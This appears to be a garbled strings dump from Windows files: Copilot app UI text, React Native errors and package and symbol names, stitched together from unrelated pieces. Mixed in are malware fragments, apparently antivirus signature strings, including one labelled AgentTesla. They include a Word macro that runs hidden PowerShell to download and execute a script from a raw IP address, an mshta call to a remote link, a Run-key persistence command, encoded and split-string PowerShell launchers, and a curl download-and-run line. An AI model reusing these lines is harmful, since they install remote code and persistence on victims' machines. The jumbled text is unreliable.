re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate ava
VirtualizedList.VirtualizedList: The "getItemCount" prop must be providedifferencesetIsJSResponderVirtualizedList: The windowSize prop must be present and set to a value greater than 0.VirtualizedList: You have a large list that is slow to update - make sure your renderItem function renders components that follow React performance best practices like PureComponent, shouldComponentUpdate, etc.VirtualizedList: missing keys for items, make sure to specify a key or id property on each item or provide a custom keyExtractor.activity_center/fetchVisualState:WARNING DEPRECATED: We just came from a parent so we must have had a parent. This is a bug in React.We must have new props for new mounts. This error is likely caused by a bug in React. Please file an issue.WebSocketModuleWinCheckBoxItemSeparatorComponentutorialPagesListartPageYandroid.permission.CALL_PHONEVER_ASK_AGAINDEXecomposeInitialPropsetCurrentPaget YellowBoxlsxACTIVITY_CENTER_REMOVE_HISTORY_ITEMPTYou will need to pass in an i18next instance by using i18nextReactModulePURCAHSE_VIEW_SET_PRODUCT_CARD_TWOBEYour environment seems not to be Intl API compatible, use an Intl.PluralRules polyfill. Will fallback to the compatibilityJSON v3 format handling.[CDATA[ ]*{(\d+)}[&<>"'\/][+-]?(?:\d+\.?\d*|\.\d+)(?:[eE][+-]?\d+)?[-+]?\d*\.?\d+%[:-]([a-z])[=:][Circular][Getter/Setter][Getter][Immer] minified error nr: [Object][RNSVG] Couldn't parse SVG, reason: [Setter][TOO BIG formatValueCalls [\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|][\s\t\r\n][\x00-\x0F][\x10-\x1F\x7F-\x9F][^+/0-9A-Za-z-_][^\w][^a-z0-9\-#$%&'*+.^_`|~!][a-zA-Z0-9:_-][function unknown][native code][object Array][object Date][object Error][object Float32Array][object Float64Array][object Function][object Generator][object Int16Array][object Int32Array][object Int8Array][object Object][object RegExp][object Uint16Array][object Uint32Array][object Uint8Array][object Uint8ClampedArray][react-native-svg] You are trying to import a [xy]\((\S*)(?::(\d+))(?::(\d+))\)\+\.\.\/+\0\?\]\navajowhite03\r\n|\n|\r?\n[\t ]+\tiny^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$^#([0-9a-fA-F]{6})$^#([0-9a-fA-F]{8})$^'+|'+$^(?:(?:(?:https?|ftp):)?\/\/)(?:(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z0-9\u00a1-\uffff][a-z0-9\u00a1-\uffff_-]{0,62})?[a-z0-9\u00a1-\uffff]\.)*(?:[a-z\u00a1-\uffff]{2,}\.?))(?::\d{2,5})?(?:[/?#]\S*)?$^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$^([+-]?\d+(?:\.\d+)?(?:[eE][+-]?\d+)?)(%?)$^(assets-library|ipod-library|file|content|ms-appx|ms-appdata|asset):^(rtp|rtsp|http|https):^[ \t\n\r,]^[ \t\n\r]^[ \t\r\n]^[+\-]^[0-9]^[eE]^\d+$^\s*$^\s*((?:(?:normal|bold|italic)\s+)*)(?:(\d+(?:\.\d+)?(?:%|px|em|pt|pc|mm|cm|in]))*(?:\s*\/.*?)?\s+)?\s*"?([^"]*)^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|rsc|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack|rsc|<anonymous>|\/|[a-z]:\\|\\\\).*?)(?::(\d+))?(?::(\d+))?\)?\s*$^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|rsc|blob):.*?):(\d+)(?::(\d+))?\)?\s*$^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$^\t+^assets__awaiteratorForgba(0, 0, 0, 0.3)^url\(#(.+)\)$__METRO_GLOBAL_PREFIX__$immer_draftable__REACT_DEVTOOLS_GLOBAL_HOOK__$immer_statealDarkfmWindowFolderStatusSyncedV2__REDUX_DEVTOOLS_EXTENSION_COMPOSE__addDisposableResourceEnd out of boundselectDialogState__REDUX_DEVTOOLS_EXTENSION__asyncDelegatoremoveResourceBundle_plural__classPrivateFieldGetItemProcessingStringetNameasureInWindowTextColorotate(-90 330.532 288.765)__esDecoratealLighttp://localhost:9001/sync/RNCommon/handleActionPanResponderStart__exportStargetRefailureViewContainerecordNextBtnClickfmOptoutSurveyTitle__fbBatchedBridgeConfig is not set, cannot invoke native modulesettingsDebugTaboutDialogDeviceidLabelevationeutralQuaternaryAlt__metadataContaineLOT_ELIGIBLE_ITEM_CONTEXT_MENUIBackgroundFetchResultNoDatablistenerMiddleware/errorHeaderTitleUIViewebviewgroupEndcreateObjectURL.hostname is not implementedestructoreadFloatLEinvokeGuardedCallbackImplaceholdersOptOutWarningetDevServerURL.origin is not implementedetailModefaultPressedContentUnlockingetScriptURL.password is not implementedetectioneutralForegroundInvertedLinkHovereturnNull__getPlatformConfigetSourceCodeScriptURL.pathname not implementedevToolsetIsHighContrastLighttp://localhost:9001/sync/ActivityCenter/getItemsHistoryisImageAURL.port is not implementedeviceID__createBindingetShimagePickerHeaderevokeObjectURL.protocol is not implementedeviceIdName_validateURL.search is not implementedeviceNameassetServerURL.username is not implementedeviceTokeneutralForegroundInvertedLinkPressedghostBorderemoteModuleConfigetInitialURLSearchParams.get is not implementedialogStateopenURLSearchParams.getAll is not implementedialog_dismissButtonContainereadUInt16BE_performSideEffectsForTransitionativeFabricUIManageresponseURLSearchParams.has is not implementedidAdminLockLocationeutralForegroundInvertedLinkSelectedcreateReduxContextHookfmOpenFolderscriptURLSearchParams.set is not implementedidRetrieveFullListylistic-seventeenqueueNativeCalloutCardcreateFAQuotaDarkfmOnboardingM365FamilyStorageBenefitTextoDataURLSearchParams.sort is not implementedidTimeoutajpgapplication/x-www-form-urlencoded;charset=UTF-8foldersContainerefreshPaget UTFSequenceupdatePortalaunchKFMOnboardingUXRNViewDataLoadedidUndoOperationeutralForegroundOnBrandHovereturnedObjectHandlerUnable to find node on an unmounted component.Unable to locate attached view in the native treeitemErrorCheckbox-onlyTheseFoldersTextUnable to preventDefault inside passive event listener invocation.createPerformanceLoggereportABugChooseImageDialogErrorUnexpected charactersettingsSyncAdvancedSettingsSectionTouchStartCapturejecting language code not found in supportedLngs: Unexpected color given for ActionSheetIOS.showActionSheetWithOptions tintColoremoveExtransformOptionselectEntriestopAnimationUnexpected color given for StatusBar.setBackgroundColoremoveIgnoreRuleUnexpected context found on stack. This error is likely caused by a bug in React. Please file an issue.Unexpected end of inputBackgroundUnexpected invocation!Unexpectedly saw VirtualizedListContext available in ctoremovePendingetFileCollaborationExpanderContentranslate(0 -.49)Unhandled discriminated union member: UnimplementedViewelcomeButtonVideoFullscreenPlayerDidDismissingKeyNoValueFallbackToKeyUnknown root exit status.Unrecognized WebSocket connection option(s) `StatusBar.setBackgroundColor`: Color Unrecognized color scheme. Did you mean 'dark' or 'light'?Unspecified errorAreaBodyUnsubscribe not initializedLanguageOnceUnsupported data typePrefixUnsupported patch operation: Unsupported platformatBytesTransferredSize_setStickyHeaderRefrePremiumBodyTextractViewBoxlsmileBtnotificationsIconsoleGroupPolyfillegal catch attemptEarlyBailoutIfNoScheduledUpdateRingTextInputf16leSliceRNSVGUse hasViewManagerConfig instead. viewManagerName: upsellCallToActionPrimaryUpgradetectFactoryAndVerify that a module by this name is registered in the native binary.folder_image_pictures_macFolderesolvedLanguaget Vibration pattern should be a number or arrayBufferToBase64cloudImportLearnMoreLinkfmOnboardingPhotoFooterRightTextoUpperCasendFeedbackOptionselectACPaget ViewPropTypes will be removed from React Native, along with all other PropTypes. We recommend that you migrate away from PropTypes and switch to a type system like TypeScript. If you need to continue using ViewPropTypes, migrate to the 'deprecated-react-native-prop-types' package.maskTypeg$resultFuncomposeIndexersettingsSyncUnlinkWoTagselectCurrentWizardPaget VirtualizedList: Both ListItemComponent and renderItem props are present. ListItemComponent will take precedence over renderItem._offsetFromParentVirtualizedList: Either ListItemComponent or renderItem props are required but none were found.VirtualizedList: Encountered an error while measuring a list's offset from its containing UVSH
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.10
windows.hlp`
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
windows.hlp
ifplatform.system()=='windows':
/WindowStyleHidden
c:\windows\system32\cmd.exe/cpowershell-%
http://www.31334.info/1stemail.phpcmd /c REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V rundll /D "\"
ed Files\winrt\Windows.ApplicationModel.AppExtensions.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.ApplicationModel.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Microsoft.Windows.Widgets.Hosts.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Microsoft.Windows.Widgets.Feeds.Providers.h
U&System.Windows.Forms.ControlUpdateMode
U)System.Windows.Forms.DataSourceUpdateMode
System.Windows.Forms.Design.DataMemberListEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
U!System.Windows.Forms.AutoSizeMode
U!System.Windows.Forms.DialogResult
System.Windows.Forms.FlatStyle
(System.Windows.Forms.ImageIndexConverter
~System.Windows.Forms.Design.ImageIndexEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
&System.Windows.Forms.ImageKeyConverter
U&System.Windows.Forms.TextImageRelation
System.Windows.Forms.Appearance
System.Windows.Forms.CheckState
System.Windows.Forms.DrawMode
U"System.Windows.Forms.ComboBoxStyle
U!System.Windows.Forms.AutoValidate
\windows\currentversion\run'$
com.microsoft.windows.extensionpackage
2f^com.microsoft.windows.extensions.xaml.webexperiencehost
com.microsoft.windows.extensions.xaml.webexperiencehost
31^com.microsoft.windows.extensionpackage
Windows Produc'
; msie 8.0; windows nt 6.1; trident/4.0)?
WindowsApp.exe
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\index-dir\temp-index
AAA_SystemSettings_MusUpdate_WindowsInsider
"estart pending|work hours|Windows updates|feature
1.asp HTTP/1.1\system32\msusb
    <Category Name="Dialogs and Tool Windows" GUID="{1f987c00-e7c4-4869-8a17-23fd602268b0}">
system32\cngsvc.exe:
= "c:\windows\explorer.exe c:\programdata\listboxPasteCounter.hta"memIndex.exec p(rm)
P= "c:\windows\explorer.exe c:\programdata\screenOptionTextbox.hta"varLoadArray.exec p(rm)
= "\edge.d".Run fa & " " & yy, windowStyle, waitOnReturn
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
windows\media\logw
[ges\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Session Storage/MANIFEST-000010
C:\WINDOWS\SYSTEM32\vg
C:\WINDOWS\SYSTEM32\od
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0axgbeaf4axgbzaggadabhaf4aiabeaf4axgbeaggadabeahqaxgbeaf4axgbwaf4axgbeaf4acwbeaf4axgbeadoalwavageaxgbeaggaygbeahcaaabeaf4amqazadiaxgbeaf4axga1ageacwbkaf4adwauaf4axgbeahmaxgboaf4abwbeahaaxgbeaf4axgavaf4axgbeaf4arablaf4axgb0ageaxgbeaf4aaqbeaf4axgbsaf8axgbeaf4axgbqaf4axgbyaf4axgbeaf4abwbeaf4axgbqaf4axgbeaguaywbeaf4adaauaf4axgbeag0axgbwaf4axgbeaf4anabeaccalgbyaguacabsageaywblacgajwbeaccalaanaccakqa7agkazqb4acaakabnagmaygapaa==
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.StoreAgent.Telemetry
Microsoft.Windows.StoreAgent.Telemetry
c:/windows/system32/d4
c:/windows/system32/dt
cmd.exe /c curl -o %temp%\powershell start -WindowStyle hidden %temp%\
The Win32_NTDomain class represents a NT Domain. A domain is a single security boundary of a Windows NT computer network. Active Directory is made up of one or more domains. On a standalone workstation, the domain is the computer itself. A domain can span more than one physical location. Every domain has its own security policies and security relationships with other domains.  When multiple domains are connected by trust relationships and share a common schema, configuration, and global catalog, you have a domain tree. Multiple domain trees can be connected together into a forest. All the domains in a forest also share a common schema, configuration, and global catalog.
The DcSiteName property indicates the name of the site where the domain controller is located. This value may be NULL if the domain controller is not in a site (for example, the domain controller is a Windows NT 4.0 domain controller).
WindowsUpdate::Telemetry::BeginScanForUpdates
WindowsUpdate::Telemetry::BeginFrameworkUpdate
WindowsUpdate::Telemetry::EndScanForUpdates
WindowsUpdate::Telemetry::EndFrameworkUpdate
WindowsUpdate::Telemetry::BeginGetFreeEntitlement
WindowsUpdate::Telemetry::EndGetFreeEntitlement
WindowsUpdate::Telemetry::LaunchAfterInstall
WindowsUpdate::Telemetry::DownloadProgressHeartbeat
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallItem::RuntimeClassInitialize
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallStatus::get_InstallState
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallItem::EnsureDownloadAsync
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallItem::Initialize
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallItem::GetInstallWithoutChildren
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallItem::OnProgress
Windows Security Health
%C:\WINDOWS\system32\svchost.exe -k NetworkService -pT
Windows Desktop
Windows.Desktop
iwshshell3.expandenvironmentstrings("%systemroot%\syswow64\windowspowershell\v1.0\powershell.exe")
("cmd/ccopy"c:\windows\syswow64\windowspowershell\v1.0\powershell.exe""
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsCreateStringReference
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
WindowsDeleteStringBuffer
WindowsCreateString
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.LocalStartTileProperties
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.LocalStartVolatileTileProperties
Windows.Data.UnifiedTile.LocalStartVolatileTilePropertiesMap
$rot="c:\windows\system32\svchost.exe"
X?cmd.exe%systemroot%\system32/c
cmd.exe%systemroot%\system32/c
Pcmd.exe%systemroot%\system32/c
System.Windows.Forms.ImageKeyConverter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
~System.Windows.Forms.Design.ImageIndexEditor, System.Design, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
UxSystem.Windows.Forms.CheckState, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
as requiere tu permiso para sincronizar tu cuenta de Microsoft con Windows.
n y las preferencias de Windows
n de privacidad de Windows 10.
|j5borlo 1.9.7 src\WindowsAD
Vforeground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723;(
2.exe-windowstylehidden-command"&{import-modulebitstransfer;start-
c:\windows\system32\cmd
s::ResourceCandidate> __cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceMap::GetValueByIndexImpl(const struct winrt::Microsoft::Windows::ApplicationModel::Resources::ResourceContext *,unsigned int)
struct winrt::com_ptr<struct winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceManager> __cdecl winrt::impl::as<struct winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceManager,struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type,0x0>(struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type *)
Microsoft.Windows.ApplicationModel.Resources.pdb
CrossDeviceResumeWindowsRuntimePackageFetchFailed
Microsoft-Windows-Shell-CrossDeviceResume
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-ErrorReportingCore-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-ErrorReportingDumpTypeControl-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-FCI-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.5074.cat|!
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|m-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-TerminalServices-AppServerClient-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
.?AU?$producer_convert@UAppHistoryPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UAppHistoryPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAppHistoryPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UAppHistoryPageViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIAppHistoryPageViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$implements@UAppHistoryPageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
.?AU?$producer_convert@UAppHistoryPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAppHistoryPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UAppHistoryPageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producers_base@UAppHistoryPageViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@UAppHistoryPageViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$produce@UDetailsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDetailsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
windows.storage.dll
PictureBox1_MouseMoveWindowsApplication1.AboutBox1.resources!#HSTR:Trojan:MSIL/AgentTesla.SM150323!MTB
call1 = "WindowsPo" + "werShell\v1.0\pow" + "ershell.exe
`s = s + "start /MIN C:\Windos = s + "ws\System32\" + "Wind" + "owsPo" + "werShe" + "ll\v1.0\pow" + "ersh" + "ell.exes = s + " -win " + "1 -encActiveWorkbook.Save
Debug.Assert (VBA.Shell("c:\windows\system32\calc\..\conhost.exe c:\windows\system32\calc\..\conhost.exe mshta http://www.j.mp/asks
s = s + "ws\System32\" + "WindowsPo" + "werShell\v1.0\pow" + "ershell.exe"s = s + " -win 1 -enc
= CreateProcessA(0&, Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://34.136.17.214/ps.ps1')", 0&, 0&, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)Sub AutoOpen()
	c:\windows\temp\
system32\
        "packageFullName": "Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy"
Microsoft.Windows.Health.TestInProduction
        "packageFullName": "MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy"
Microsoft.Windows.Health.TestInProduction
        "packageFullName": "MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy"
Microsoft.Windows.Health.TestInProduction
        "packageFullName": "MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy"
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
GetSystemWindowsDirectoryW
api-ms-win-core-windowserrorreport
>EC:\Program Files\WindowsApps\Microsoft.BingNews_1.0.2.0_x64__8wekyb3d8bbwe`DY
TC:\Program Files\WindowsApps\Microsoft.GamingApp_2505r
Wm Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.SMB.SRVADMIN
Microsoft.Windows.SMB.MRXSMB20
Microsoft.Windows.IUIRadioManager
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
@@Windows DefenE
'start-process-windowstylehiddenpowershell(gc$env:appdata\davinciresolve\activeoptionstatus)
=powershell.exe,-windowstylehidden'[void'+'][syst'+'em.refle'+'ction.asse'+'mbly]::loadwi'+'thpartialname(''microsoft.visualbasic'')'|iex;do{$ping=test-conne^
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
em;C:\WINDOWS\
